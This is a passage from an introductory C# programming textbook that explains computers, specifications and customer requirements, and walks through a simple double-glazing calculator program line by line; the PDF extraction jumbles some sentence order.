1 Computers Before we consider programming. Before we can look at the fun packed business of programming though it is worth looking at some computer terminology: 1.e. Most people do not write programs. We must therefore make a distinction between users and programmers. 1. and it stops working when immersed in a bucket of water. This. Software is what makes the machine tick.Computers and Programs Computers 1 Computers and Programs In this chapter you are going to find out what a computer is and get an understanding of the way that a computer program tells the computer what to do. Finally you will take a look at programming in general and the C# language in particular. particularly amongst those who then try to program a fridge. A better way is to describe it as: A device which processes information according to instructions it has been given. They use programs written by other people.1. The instructions you give to the computer are often called a program.1. 1. The box.1 An Introduction to Computers Qn: Why does a bee hum? Ans: Because it doesn't know the words! One way of describing a computer is as an electric box which hums. it is hardware. a keen desire to process words with a computer should not result in you writing a word processor! However. If a computer has a soul it keeps it in its software. This is not what most people do with computers. which can run programs. Essentially if you can kick it.2 Hardware and Software If you ever buy a computer you are not just getting a box which hums. A programmer has a masochistic desire to tinker with the innards of the machine. must also have sufficient built-in intelligence to understand simple commands to do things. we are going to consider computers. because you will often want to do things with computers which have not been done before. i. Hardware is the impressive pile of lights and switches in the corner that the salesman sold you. to ensure that you achieve a ―happy ending‖ for you and your customer. One of the golden rules is that you never write your own program if there is already one available. The business of using a computer is often called programming. while technically correct. we are going to learn how to program as well as use a computer. At this point we must draw a distinction between the software of a computer system and the hardware. A user has a job which he or she finds easier to do on a computer running the appropriate program. This general definition rules out fridges but is not exhaustive. You will discover what you should do when starting to write a program. and further because there are people willing to pay you to do it. can lead to significant amounts of confusion. Software uses the physical ability of the hardware. This is an important thing to do. However for our purposes it will do. Hardware is the physical side of the system. to be useful. because it sets the context in which all the issues of programming itself are placed. C# Programming © Rob Miles 2010 6 .
The Operating System makes the machine usable. All computers are sold with some software. It is only us people who actually give meaning to the data (see above).1. and then generate further information. Put a bicycle into a sausage machine and it will try to make sausages out of it. it is the user who gives meaning to these patterns. It also lets you run programs. 1. they do something with it. The software which comes with a computer is often called its Operating System. Remember this when you get a bank statement which says that you have £8. as well as a useful thing to blame. ones you have written and ones from other people.388. something is put in one end. An example. They seem to think that one means the other. I regard data and information as two different things: Data is the collection of ons and offs which computers store and manipulate. A computer program is just a sequence of instructions which tell a computer what to do with the data coming in and what form the data sent out will have. Windows 7 is an operating system. It is called software because it has no physical existence and it is comparatively easy to change. It gives computer programs a platform on which they can execute. You will have to learn to talk to an operating system so that you can create your C# programs and get them to go. As far as the computer is concerned data is just patterns of bits. the computer could hold the following bit pattern in memory somewhere: 11111111 11111111 11111111 00000000.3 Data and Information People use the words data and information interchangeably.Computers and Programs Computers to do something useful. Information is fed into them. A program is unaware of the data it is processing in the same way that a sausage machine is unaware of what meat is. and something comes out of the other end: Data Computer Data This makes a computer a very good "mistake amplifier". As far as the computer is concerned data is just stuff coming in which has to be manipulated in some way. A computer works on data in the same way that a sausage machine works on meat. Strictly speaking computers process data. Without it they would just be a novel and highly expensive heating system... Put duff data into a computer and it will do equally useless things. A computer program tells the computer what to do with the information coming in. C# Programming © Rob Miles 2010 7 .. Information is the interpretation of the data by people to mean something. humans work on information. So why am I being so pedantic? Because it is vital to remember that a computer does not "know" what the data it is processing actually means..608 in your account! Data Processing Computers are data processors. It looks after all the information held on the computer and provides lots of commands to allow you to manage things. some processing is performed. Software is the voice which says "Computer Running" in a Star Trek film.
A blank stare.) Programmer’s Point: At the bottom there is always hardware It is important that you remember your programs are actually executed by a piece of hardware which has physical limitations. Programming is a black art. 3. to optimise the performance of the engine. As software engineers it is inevitable that a great deal of our time will be spent fitting data processing components into other devices to drive them. For example a doctor may use a spread sheet to calculate doses of drugs for patients. "That's interesting". followed by a long description of the double glazing that they have just had fitted. In this case a defect in the program could result in illness or even death (note that I don't think that doctors actually do this – but you never know. 4. timing of the spark etc..2 Programs and Programming I tell people I am a "Software Engineer". road speed. It is important to think of the business of data processing as much more than working out the company payroll. You must make sure that the code you write will actually fit in the target machine and operate at a reasonable speed. and ever will have. Tell people that you program computers and you will get one of the following responses: 1. You will not press a switch to make something work. 1. examples of typical data processing applications are: Digital Watch: A micro-computer in your watch is taking pulses from a crystal and requests from buttons. is much more than that. CD Player: A computer is taking a signal from the disk and converting it into the sound that you want to hear. reading in numbers and printing out results. At the same time it is keeping the laser head precisely positioned and also monitoring all the buttons in case you want to select another part of the disk. C# Programming © Rob Miles 2010 8 . and we will have to make sure that they are not even aware that there is a computer in there! You should also remember that seemingly innocuous programs can have life threatening possibilities. oxygen content of the air. It is into this world that we. I will mention them when appropriate. processing this data and producing a display which tells you the time. setting of the accelerator etc and producing voltages out which control the setting of the carburettor. but you should still be aware of these aspects. 2. A look which indicates that you can't be a very good one as they all drive Ferraris and tap into the Bank of England at will. Note that some of these data processing applications are merely applying technology to existing devices to improve the way they work. The power and capacity of modern computers makes this less of an issue than in the past. as software writers are moving. Note that this "raises the stakes" in that the consequences of software failing could be very damaging. Games Console: A computer is taking instructions from the controllers and using them to manage the artificial world that it is creating for the person playing the game.Computers and Programs Programs and Programming Note that the data processing side of computers. which you might think is entirely reading and writing numbers. It is the kind of thing that you grudgingly admit to doing at night with the blinds drawn and nobody watching. Asked to solve every computer problem that they have ever had. you will press a switch to tell a computer to make it work. These are the traditional uses of computers. These embedded systems will make computer users of everybody. Car: A micro-computer in the engine is taking information from sensors telling it the current engine speed. However the CD player and games console could not be made to work without built-in data processing ability. Most reasonably complex devices contain data processing components to optimise their performance and some exist only because we can build in intelligence.
Computers and Programs Programs and Programming Programming is defined by most people as earning huge sums of money doing something which nobody can understand. In fact if you think that programming is simply a matter of coming up with a program which solves a problem you are equally wrong! There are many things you must consider when writing a program. From Problem to Program Programming is not about mathematics. it is about organization and structure. in this case a programming language. The art of programming is knowing which bits you need to take out of your bag of tricks to solve each part of the problem. Programming is defined by me as deriving and expressing a solution to a given problem in a form which a computer system can understand and execute. and only at the final handover was the awful truth revealed. The customers assumed that. The developers of the system quite simply did not find out what was required. He or she has problem and would like you to write a program to solve it. Unfortunately it is also the most difficult part of programming as well. We shall assume that the customer knows even less about computers than we do! Initially we are not even going to talk about the programming language. this is almost a reflex action. Programmers pride themselves on their ability to come up with solutions. You look at the problem for a while and work out how to solve it and then fit the bits of the language together to solve the problem you have got. The art of taking a problem and breaking it down into a set of instructions you can give a computer is the interesting part of programming. not all of them are directly related to the problem in hand. Instead you should think "Is that what the customer wants?" This is a kind of self-discipline. since the developers had stopped asking them questions. which both you and the customer agree on. Both you and the C# Programming © Rob Miles 2010 9 . we are simply going to make sure that we know what the customer wants. This tells you exactly what the customer wants. type of computer or anything like that. It is therefore very important that a programmer holds off making something until they know exactly what is required. he will open his bag and produce various tools and parts. so as soon as they are given a problem they immediately start thinking of ways to solve it. the right thing was being built. If you think that learning to program is simply a matter of learning a programming language you are very wrong. tut tutting.1 What is a Programmer? And remember just how much plumbers earn…. Solving the Wrong Problem Coming up with a perfect solution to a problem the customer has not got is something which happens surprisingly often in the real world. You are given a problem to solve. You have at your disposal a big bag of tricks. fit them all together and solve your problem.2. Programming is just like this. Having looked at it for a while. What you should do is think "Do I really understand what the problem is?" Before you solve a problem you should make sure that you have a watertight definition of what the problem is. I like to think of a programmer as a bit like a plumber! A plumber will arrive at a job with a big bag of tools and spare parts. Many software projects have failed because the problem that they solved was the wrong one. One or two things fall out of this definition: You need to be able to solve the problem yourself before you can write a program to do it. I am going to start on the basis that you are writing your programs for a customer. The worst thing you can say to a customer is "I can do that". but instead created what they thought was required. The computer has to be made to understand what you are trying to tell it to do. In the real world such a definition is sometimes called a Functional Design Specification or FDS. 1.
"This looks like a nice little earner" you think.Computers and Programs Programs and Programming customer sign it. With this in mind it is a good idea to make a series of versions of the solution and discuss each with the customer before moving on to the next one. You might think that this is not necessary if you are writing a program for yourself. He wants to just enter the dimensions of the window and then get a print out of the cost to make the window. I would never write a program without getting a solid specification first..2. It also forces you to think about what your system is not going to do and sets the expectations of the customer right at the start. for now we will stick with written text when specifying each of the stages: Information going in In the case of our immortal double glazing problem we can describe the information as: The width of a window. You as a developer don’t really know much about the customer’s business and they don’t know the limitations and possibilities of the technology. This is true even (or perhaps especially) if I do a job for a friend. This is not true. The height of the window. Writing some form of specification forces you to think about your problem at a very detailed level. there is no customer to satisfy. Once you have got your design specification. This is called prototyping.2 A Simple Problem Consider the scenario. in terms of the amount of wood and glass required. Modern development techniques put the customer right at the heart of the development. then you can think about ways of solving the problem. Programmer’s Point: The specification must always be there I have written many programs for money. 1. you are sitting in your favourite chair in the pub contemplating the universe when you are interrupted in your reverie by a friend of yours who sells double glazing for a living. Specifying the Problem When considering how to write the specification of a system there are three important things: What information flows into the system. What flows out of the system... and the bottom line is that if you provide a system which behaves according to the design specification the customer must pay you. Information coming out The information that our customer wants to see is: the area of glass required for the window the length of wood required to build a frame. There are lots of ways of representing this information in the form of diagrams. What the system does with the information. and once you have agreed to a price you start work. and involve them in the design process. C# Programming © Rob Miles 2010 10 . These work on the basis that it is very hard (and actually not that useful) to get a definitive specification at the start of a project.
given in feet using the conversion factor of 3. your program will regard the data as valid and act accordingly. In the case of our window program the metadata will tell us more about the values that are being used and produced.perhaps our customer buys wood from a supplier who sells by the foot. and work can commence.Computers and Programs Programs and Programming You can see what we need if you take a look at the diagram below: Height of Window Width of Window The area of the glass is the width multiplied by the height. C# Programming © Rob Miles 2010 11 . This must be done in conjunction with the customer. For any quantity that you represent in a program that you write you must have at least this level of metadata . so two panes will be required. this is very important .5 metres inclusive. The length of wood required for. specifically the units in which the information is expressed and the valid range of values that the information may have. in square metres. The word meta in this situation implies a "stepping back" from the problem to allow it to be considered in a broader context.0 metres inclusive.5 Metres and 3. The height of the window. Remember that we are selling double glazing. he or she must understand that if information is given which fits within the range specified. Having written this all up in a form that both you and the customer can understand. in metres and being a value between 0. we now have to worry about how our program will decide when the information coming in is actually valid. Programmer’s Point: metadata is important Information about information is called metadata. in which case our output description should read: Note that both you and the customer must understand the document! The area of glass required for the window.25 feet per metre. and two pieces of wood the height of the window. In the case of the above we could therefore expand the definition of data coming in as: The width of the window.5 metres and 2. To make the frame we will need two pieces of wood the width of the window. in metres and being a value between 0. Note that we have also added units to our description. we must then both sign the completed specification. Being sensible and far thinking people we do not stop here.
What will happen is that you will come up with something which is about 60% right. Testing is a very important part of program development. which should include layouts of the screens and details of which keys should be pressed at each stage.. You then go back into your back room.5 feet of wood. you could for example say: “If I give the above program the inputs 2 metres high and 1 metre wide the program should tell me I need 4 square metres of glass and 19. including the all-important error conditions. for which they can expect to be paid.” The test procedure which is designed for a proper project should test out all possible states within the program. and one we will explore later. Ideally all this information should be put into the specification. you can expect to write as much code to test your solution as is in the solution itself. Actually. There is even one development technique where you write the tests before you write the actual program that does the job. reminiscent of a posh tailor who produces the perfect fit after numerous alterations. Both the customer and the supplier should agree on the number and type of the tests to be performed and then sign a document describing these. muttering under your breath. Getting Paid Better yet.. In terms of code production. how the information is presented etc. This is actually a good idea. Customer Involvement Note also in a "proper" system the customer will expect to be consulted as to how the program will interact with the user. In a large system the person writing the program may have to create a test harness which is fitted around the program and will allow it to be tested. Again. Quite often prototypes will be used to get an idea of how the program should look and feel. Fact: If you expect to derive the specification as the project goes on either you will fail to do the job. because I did mention earlier that prototyping is a good way to build a system when you are not clear on the initial specificaiton. All the customer does is look at something. so you accept changes for the last little bit and again retreat to your keyboard. At this point the supplier knows that if a system is created which will pass all the tests the customer will have no option but to pay for the work! Note also that because the design and test procedures have been frozen. Rob's law says that 60% of the duff 40% will now be OK. there is no ambiguity which can lead to the customer requesting changes to the work although of course this can still happen! The good news for the developer is that if changes are requested these can be viewed in the context of additional work. They will get a bit upset when the delivery deadline goes by without a finished product appearing but they can always cheer themselves up again by suing you.. is something which the customer is guaranteed to have strong opinions about. and emerge with another system to be approved. if you are going to use prototypes it is a good thing to plan for this from the C# Programming © Rob Miles 2010 12 . we have come full circle here.. sometimes even down to the colour of the letters on the display! Remember that one of the most dangerous things that a programmer can think is "This is what he wants"! The precise interaction with the user . set up a phased payment system so that you get some money as the system is developed.Computers and Programs Programs and Programming Proving it Works In a real world you would now create a test which will allow you to prove that the program works. suggests changes and then wait for the next version to find something wrong with.. Remember this when you are working out how much work is involved in a particular job. The customer thinks that this is great. However. This is not going to happen.to emerge later with the perfect solution to the problem. The customer will tell you which bits look OK and which bits need to be changed.. To take the first point... particularly when you might have to do things like trade with the customer on features or price. 1. I know nothing about these machines".25 and print it The programming portion of the job is now simply converting the above description into a language which can be used in a computer.. an art. Programmer’s Point: Good programmers are good communicators The art of talking to a customer and finding out what he/she wants is just that. It is very hard to express something in an unambiguous way using English. The customer may well say "But I am paying you to be the computer expert. you work with them. If you want to call yourself a proper programmer you will have to learn how to do this. When we start with our double glazing program we now know that we have to: read in the width verify the value read in the height verify the value calculate width times height times 2 and print it calculate ( width + height ) * 2 * 3. Tape worms do not speak very good English. English as a language is packed full of ambiguities. 2.often with the help of the customer. and there are limits to the size of program that we can create and the speed at which it can talk to us. If you do not believe me. Explain the benefits of "Right First Time" technology and if that doesn't work produce a revolver and force the issue! Again. we can make computers which are about as clever as a tape worm. if I could underline in red I would: All the above apply if you are writing the program for yourself. by using the most advanced software and hardware. You might ask the question "Why do we need programming languages. One very good reason for doing this kind of thing is that it gets most of the program written for you . English would make a lousy programming language. Please note that this does not imply that tape worms would make good programmers! Computers are too stupid to understand English. Computers are made clever by putting software into them.. To take the second point. You do not work for your customers. and how we are going to determine whether it has worked or not (test) we now need to express our program in a form that the computer can work with. You are wrong. You are your own worst customer! You may think that I am labouring a point here. This is very important. This is no excuse. ask any lawyer! Time Flies like an Arrow.. We cannot make very clever computers at the moment. all to the better. Fruit Flies like a Banana! C# Programming © Rob Miles 2010 13 . why can we not use something like English?" There are two answers to this one: 1. Fact: More implementations fail because of inadequate specification than for any other reason! If your insistence on a cast iron specification forces the customer to think about exactly what the system is supposed to do and how it will work. At the moment. therefore we cannot make a computer which can understand English.3 Programming Languages Once we know what the program should do (specification). One of the first things you must do is break down the idea of "I am writing a program for you" and replace it with "We are creating a solution to a problem". The best we can do is to get a computer to make sense of a very limited language which we use to tell it what to do.
4.e.. If I make a mistake with the professional tool I could quite easily lose my leg. you can mark your programs as unmanaged. In programming terms what this means is that C lacks some safety features provided by other programming languages. C# bears a strong resemblance to the C++ and Java programming languages. all this fussing comes at a price. having borrowed (or improved) features provided by these languages. To get the maximum possible performance. 1. so I have a much greater chance of crashing the computer with a C program than I do with a safer language. something the amateur machine would not let happen. C is famous as the language the UNIX operating system was written in. This makes sure that it is hard (but probably not impossible) to crash your computer running managed code. If I. and was specially designed for this. but do not think that it is the only language you will ever learn. i. Rob Miles. but if it crashes it is capable of taking the computer C# Programming © Rob Miles 2010 14 .2 Safe C# The C# language attempts to get the best of both worlds in this respect. causing your programs to run more slowly. It was developed by Microsoft Corporation for a variety of reasons.4 C# There are literally hundreds of programming languages around. So what do I mean by that? Consider the chain saw.1 Dangerous C I referred to C as a dangerous language. The origins of both Java and C++ can be traced back to a language called C. 1. A C# program can contain managed or unmanaged parts. As I am not an experienced chain saw user I would expect it to come with lots of built in safety features such as guards and automatic cut outs. Programmer’s Point: The language is not that important There are a great many programming languages around. This makes the language much more flexible. However. during your career you will have to learn more than just one. However. want to use a chain saw I will hire one from a shop. 1. because of all the safety stuff I might not be able to cut down certain kinds of tree. and enable direct access to parts of the underlying computer system. If I was a real lumberjack I would go out and buy a professional chain saw which has no safety features whatsoever but can be used to cut down most anything.Computers and Programs C# Programming languages get around both of these problems. They are simple enough to be made sense of by computer programs and they reduce ambiguity. These will make me much safer with the thing but will probably limit the usefulness of the tool. some technical. if I do something stupid C will not stop me. C# is a great language to start programming in. which is a highly dangerous and entertaining language which was invented in the early 1970s.4.. The managed code is fussed over by the system which runs it. some political and others marketing.
each of which is in charge of part of the overall system.e. and we have to know how to program before we can design larger systems. How you create and run your programs is up to you. The C# language is supplied with a whole bunch of other stuff (to use a technical term) which lets C# programs do things like read text from the keyboard. The use of objects is as much about design as programming. C# is a compiled programming language. which is a great place to write programs. for now the thing to remember is that you need to show your wonderful C# program to the compiler before you get to actually run it. so a program called a compiler converts the C# text into the low level instructions which are much simpler. things that you type to the command prompt. This is not because I don't know much about it (honest) but because I believe that there are some very fundamental programming issues which need to be addressed before we make use of objects in our programs. An example of a warning situation is where you create something but don't use it for anything. i. This provides a bunch of command line tools. print on the screen. 1.5 Creating C# Programs Microsoft has made a tool called Visual Studio. The computer cannot understand the language directly. 1. Object Oriented Design makes large projects much easier to design.Computers and Programs C# with it. but I am not going to tell you much about it just yet. along with an integrated editor.which may be part of the compiling and running system. which is a great place to get started.4. We will look in more detail at this aspect of how C# programs work a little later.4. A compiler is a very large program which knows how to decide if your program is legal. They are then located automatically when your program runs. 1. called Visual Studio Express edition.4 Making C# Run You actually write the program using some form of text editor .NET Framework. Switching to unmanaged mode is analogous to removing the guard from your new chainsaw because it gets in the way. There is a free version. but may indicate that you have made a mistake somewhere. Another free resource is the Microsoft . C# is a great language to start learning with as the managed parts will make it easier for you to understand what has happened when your programs go wrong.3 C# and Objects The C# language is object oriented.4. It comprises the compiler. which can be used to compile and run C# programs. in case you had forgotten to add a bit of your program. These extra features are available to your C# program but you must explicitly ask for them. It also lets you create programs which can have a high degree of reliability and stability. C# Programming © Rob Miles 2010 15 . These low level instructions are in turn converted into the actual commands to drive the hardware which runs your program. I am very keen on object oriented programming. and debugger. Objects are an organisational mechanism which let you break your program down into sensible chunks. It is provided in a number of versions with different feature sets. The first thing it does is check for errors in the way that you have used the language itself. set up network connections and the like. Later on we will look at how you can break a program of your own down into a number of different chunks (perhaps so several different programmers can work on it). The compiler will also flag up warnings which occur when it notices that you have done something which is not technically illegal. The compiler would tell you about this. Only if no errors are found by the compiler will it produce any output. test and extend.
often called a source file. The ingredients will be values (called variables) that you want your program to work with. Some parts of your program will simply provide this information to tell the compiler what to do. If you had sat down with a pencil and worked out the solution first you would probably get to a working system in around half the time.NET framework. The Human Computer Of course initially it is best if we just work through your programs on paper. Once you are sitting in front of the keyboard there is a great temptation to start pressing keys and typing something in which might work. A source file contains three things: instructions to the compiler information about the structures which will hold the data to be stored and manipulated.Computers and Programs C# I'm not going to go into details of how to download and install the .e. Rather than writing the program down on a piece of paper you instead put it into a file on the computer. All computer languages support variables of one form or another. It also can be told about any options for the construction of your program which are important. I am going to assume that you are using a computer which has a text editor (usually Notepad) and the . The program itself will be a sequence of actions (called statements) that are to be followed by the computer.6 What Comprises a C# Program? If your mum wanted to tell you how to make your favourite fruitcake she’d write the recipe down on a piece of paper. To take these in turn: Controlling the Compiler . Programmer’s Point: Great Programmers debug less I am not impressed by hacking programmers who spend whole days at terminals fighting with enormous programs and debugging them into shape. I am impressed by someone who turns up. You must also decide on sensible names that you will use to identify these items. C# Programming © Rob Miles 2010 16 . which you will then spend hours fiddling with to get it going. but written for a computer to follow.NET framework installed. The C# compiler needs to know certain things about your program. C# also lets you build up structures which can hold more than one item. I reckon that you write programs best when you are not sitting at the computer. i. You will almost certainly end up with something which almost works. the best approach is to write (or at least map out) your solution on paper a long way away from the machine. for example a single structure could hold all the information about a particular bank customer. Storing the Data Programs work by processing data. The recipe would be a list of ingredients followed by a sequence of actions to perform on them. A variable is simply a named location in which a value is held whilst the program runs. As part of the program design process you will need to decide what items of data need to be stored. not a cook. A program can be regarded as a recipe. types in the program and makes it work first time! 1. It needs to know which external resources your program is going to use. This is not good technique. that is for other documents. This is what the compiler acts on. instructions which manipulate the data. The data has to be stored within the computer whilst the program processes it.4.
The colours just serve to make the programs easier to understand. Colours and Conventions The colours that I use in this text are intended to line up with the colours you will see when you edit your programs using a professional program editor such as the one supplied as part of Visual Studio. Text in a Computer Program There are two kinds of text in your program. We will look at methods in detail later in these notes. Keywords will appear blue in some of the listings in this text. This method is called when your program starts running. Objects Some of the things in the programs that we write are objects that are part of the framework we are using. In the case of C# you can lump statements together to form a lump of program which does one particular task. You also create identifiers when you make things to hold values. so that your program can look at things and decide what to do. Seasoned programmers break down a problem into a number of smaller ones and make a method for each. and C# works in exactly the same way. A method can be very small. The words which are part of the C# language itself are called keywords. The C# language also has a huge number of libraries available which you can use.Computers and Programs C# Describing the Solution The actual instructions which describe your solution to the problem must also be part of your program. simple. To continue our cooking analogy. It can return a value which may or may not be of interest. It can have any name you like. your program ends. C# Programming © Rob Miles 2010 17 . In fact. these are things like mixing bowls and ovens. for example ShowMenu or SaveToFile. The names of objects will be given in a different shade of blue in some of the listings in this text. A single. One method may refer to others. Identifiers and Keywords You give a name to each method that you create. Main. These kinds of messages are coloured red in this text. for example add two numbers together and store the result. and do not have any special meaning. or very large. which are used during the cooking process. The names that you invent to identify things are called identifiers. Your mum might add the following instruction to her cake recipe: Now write the words “Happy Christmas” on top of the cake in pink icing. you'll find that programs look a lot like recipes. it is what needs to be written. There are the instructions that you want the computer to perform and there are the messages that you want the program to actually display in front of the user. woodLength might be a good choice when we want to hold the length of wood required. and your program can contain as many methods as you see fit. The really gripping thing about programs is that some statements can change which statement is performed next. In a recipe a keyword would be something like "mix" or "heat" or "until". Such a lump is called a method. and you try to make the name of the function fit what it does. The C# language actually runs your program by looking for a method with a special name. These save you from "re-inventing the wheel" each time you write a program. They are added automatically by the editor as you write your program. She is using double quote characters to mark the text that is to be drawn on the cake. and when Main finishes. instruction to do something in a C# program is called a statement. Later on we will look at the rules and conventions which you must observe when you create identifiers. ―Happy Christmas‖ is not part of the instructions. They would let you say things like "heat sugar until molten" or "mix until smooth". A statement is an instruction to perform one particular operation.
woodLength. The actual work is done by the two lines that I have highlighted. C# Programming © Rob Miles 2010 18 . 2. If you gave it to a C# compiler it would compile. glassArea. Here it is: using System. string widthString.WriteLine( "The area of the glass is " + glassArea + " square metres" ) . height.ReadLine(). glassArea = 2 * ( width * height ) . class GlazerCalc { static void Main() { double width. } } Code Sample 1 .1. Console. width = double.1 A First C# Program The first program that we are going to look at will read in the width and height of a window and then print out the amount of wood and glass required to make a window that will fit in a hole of that size.ReadLine().25 .Simple Data Processing A First C# Program 2 Simple Data Processing In this chapter we are going to create a genuinely useful program (particularly if you are in the double glazing business). woodLength = 2 * ( width + height ) * 3.2 2. We will start by creating a very simple solution and investigating the C# statements that perform basic data processing.Parse(heightString).1 The Program Example Perhaps the best way to start looking at C# is to jump straight in with our first ever C# program.WriteLine ( "The length of the wood is " + woodLength + " feet" ) . Then we will use additional features of the C# language to improve the quality of the solution we are producing. heightString = Console. We can now go through each line in turn and try to see how it fits into our program.2. widthString = Console.GlazerCalc Program This is a valid program. This is the problem we set out to solve as described in section1. Broadly speaking the stuff before these two lines is concerned with setting things up and getting the values in to be processed.Parse(widthString). heightString. The stuff after the two lines is concerned with displaying the answer to the user. Console. height = double. and you could run it.
in order to stop someone else accidentally making use of the value returned by our Main method. For now. C# Programming © Rob Miles 2010 19 . In some cases we write methods which return a result (in fact we will use such a method later in the program). There is a convention that the name of the file which contains a particular class should match the class itself. i.cs. We have namespaces in our conversations too. In the case of C# the System namespace is where lots of useful things are described. don't worry too much about classes. But for now I'd be grateful if you'd just make sure that you put it here in order to make your programs work properly. If I want to just refer to this as Console I have to tell the compiler I'm using the System namespace. This means that if I refer to something by a particular name the compiler will look in System to see if there is anything matching that name. However. The method will just do a job and then finish. This method (and there must be one. Main You choose the names of your methods to reflect what they are going to do for you. When we get to consider objects we will find that this little keyword has all kinds of interesting ramifications. A namespace is a place where particular names have meaning. and one other thing. This makes our programs safer. In the case of our double glazing calculator the class just contains a single method which will work out our wood lengths and glass area.Simple Data Processing A First C# Program using System. in that the compiler now knows that if someone tries to use the value returned by this method. A C# program is made up of one or more classes. I've called ours GlazerCalc since this reflects what it does. One of these useful things provided with C# is the Console object which will let me write things which will appear on the screen in front of the user. this must be a mistake. void A void is nothing.e. just make sure that you pick sensible names for the classes that you create. in other words the program above should be held in a file called GlazerCalc. When your program is loaded and run the first method given control is the one called Main. class GlazerCalc Classes are the basis of object oriented programming. Except for Main. You need to invent an identifier for every class that you create. if I am using the "Football" namespace and I say “That team is really on fire” I'm saying something good. If I am using the "Firefighter" namespace I'm saying something less good. and only one such method) is where your program starts running. In programming terms the void keyword means that the method we are about to describe does not return anything of interest to us. the word static in this context means "is part of the enclosing class and is always here". A class is a container which holds data and program code to do a particular job. A big part of learning to program is learning how to use all the additional features of the system which support your programs. but a class can contain much more than that if it needs to. This is an instruction to the C# compiler to tell it that we want to use things from the System namespace. as we shall see later. We will use other namespaces later on. Oh. we are explicitly stating that it returns nothing. static This keyword makes sure that the method which follows is always present. If you miss out the Main method the system quite literally does not know where to
but I think it makes it slightly clearer.e. I put brackets around the parts to be done first. Console. These two statements simply repeat the process of reading in the text of the height value and then converting it into a double precision value holding the height of the window. just like the ReadLine method. glassArea = 2 * ( width * height ) . This is the bit that does the work. However. 2 Another TV show reference C# Programming © Rob Miles 2010 23 . ( This is the start of the parameters for this method call. It takes the height and width values and uses them to calculate the length of wood required.Parse(heightString). + Plus is an addition operator. The other items in the expression are called operands. This makes the program clearer. When I write programs I use brackets even when the compiler does not need them. I've put one multiplication in brackets to allow me to indicate that I am working out two times the area (i. These are what the operators work on. woodLength = 2*(width + height)*3. The string of text is enclosed in double quote characters to tell the compiler that this is part of a value in the program. Note that the area is given in square meters. We have seen it applied to add two integers together. not instructions to the compiler itself. This line repeats the calculation for the area of the glass. In this case it means "add two strings together". for two panes of glass). all multiplication and division will be done first. In the above expression I wanted to do some parts first. We have seen these used in the calls of Parse and also ReadLine "The length of the wood is " This is a string literal.e. This is the actual nub of the program itself. followed by addition and subtraction. this time it is important that you notice the use of parenthesis to modify the order in which values are calculated in the expression.25 . i. height = double. There are around 3. The calculation is an expression much like above. so I did what you would do in mathematics. Normally C# will work out expressions in the way you would expect. There is no need to do this particularly.Simple Data Processing A First C# Program heightString = Console.25 to allow for the fact that the customer wants the length of wood in feet. The + and * characters in the expression are called operators in that they cause an operation to take place.ReadLine().25 feet in a meter. except that this one takes what it is given and then prints it out on the console. the plus here means something completely different 2. Note that I use a factor of 3. It is a string of text which is literally just in the program. so no conversion is required.WriteLine This is a call of a method. so I multiply the result in meters by this factor.
It is very important that you understand precisely what is going on here. This means that it is going to perform string concatenation rather than mathematical addition.0" has the text of the value 3. The C# system uses the context of an operation to decide what to do. However.0 added on the end.0 ). Fortunately it can do this. We have seen this with namespaces. We are adding the word feet on the end. ) The bracket marks the end of the parameter being constructed for the WriteLine method call. This result value would then be asked to provide a string version of itself to be printed. The variable woodLength is tagged with metadata which says "this is a double precision floating point value. This would perform a numeric calculation (2. in this program the length of the wood required.0) and produce a double precision floating point value. The C# compiler must therefore ask the woodLength data item to convert itself into a string so it can be used correctly in this position.0 + 3. giving the output: 5 But the line of code: Console.0" + 3. Here it has a string on the left hand side.0 + 3.0 ).WriteLine ( 2. adding (or concatenating) them to produce a single result. The variable heightString is tagged with information that says "this is a string. This makes it much easier to ensure that the value makes sense. When the method is called the program first assembles a completed string out of all the components. In the case of the previous +.03 The string "2.WriteLine ( "2. Consider: Console. It then passes the resulting string value into the method which will print it out on the console.Simple Data Processing A First C# Program You will have to get used to the idea of context in your programs. Would regard the + as concatenating two strings. Whenever I print a value out I always put the units on the end. C# Programming © Rob Miles 2010 24 . woodLength This is another example of context at work. It would ask the value 3 to convert itself into a string (sounds strange – but this is what happens. Previously we have used woodLength as a numeric representation of a value. and so the program works as you would expect. between two double precision floating point numbers it means "do a sum". Here it is with operators. You can think of all of the variables in our program being tagged with metadata (there is that word again) which the compiler uses to decide what to do with them. use a plus with this and you perform arithmetic". use a plus with this and you concatenate". It would then produce the output: 2. in the context it is being used at the moment (added to the end of a string) it cannot work like that. + " feet" Another concatenation here. This difference in behaviour is all because of the context of the operation that is being performed.
We have added all the behaviours that we need. For now however. note that just because the compiler reckons your program is OK is no guarantee of it doing what you want! Another thing to remember is that the layout of the program does not bother the compiler. consider the effect of missing out a "(" character. However. If we want to (and we will do this later) we may put a number of methods into a class.Console. glassArea.Console. This simply indicates that the compiler is too stupid to make sense of what you have given it! You will quickly get used to hunting for and spotting compilation errors.width = double.string widthString. This is vital and must be supplied exactly as C# wants it. heightString. Items inside braces are indented so that it is very clear where they belong. I do it because otherwise I am just about unable to read the program and make sense of what it does.although if anyone writes a program which is laid out this way they will get a smart rap on the knuckles from me! Programmer’s Point: Program layout is very important You may have noticed the rather attractive layout that I have used when I wrote the program. One of the things that you will have noticed is that there is an awful lot of punctuation in there. The program is essentially complete.WriteLine( "The area of the glass is " + glassArea + " square metres" ) .glassArea = 2 * ( width * height ) . A block of code starts with a { and ends with a }.} } . we only want the one method in the class. the following is just as valid: using System.Simple Data Processing A First C# Program . woodLength.heightString = Console. This first close brace marks the end of the block of code which is the body of the Main method.height = double. It marks the end of the class GlazerCalc.class GlazerCalc{static void Main(){double width. otherwise you will get what is called a compilation error. height.Parse(heightString). And so we use the second closing brace to mark the end of the class itself.Parse(widthString). When the compiler sees this it says to itself "that is the end of the Main method". } Now for some really important stuff. In C# everything exists inside a class. The semi-colon marks the end of this statement. I do not do this because I find such listings artistically pleasing. A class is a container for a whole bunch of things. C# Programming © Rob Miles 2010 25 .25 . One of the things you will find is that the compiler does not always detect the error where it takes place.woodLength = 2 * ( width + height ) * 3.ReadLine().widthString = Console.ReadLine(). JustlikeIfindithardtoreadenglishwithouttheproperspacing I find it hard to read a program if it has not been laid out correctly.WriteLine ( "The length of the wood is " + woodLength + " feet" ) . the compiler still needs to be told that we have reached the end of the program. Punctuation That marks the end of our program. However. } The second closing brace has an equally important job to the first. including methods.
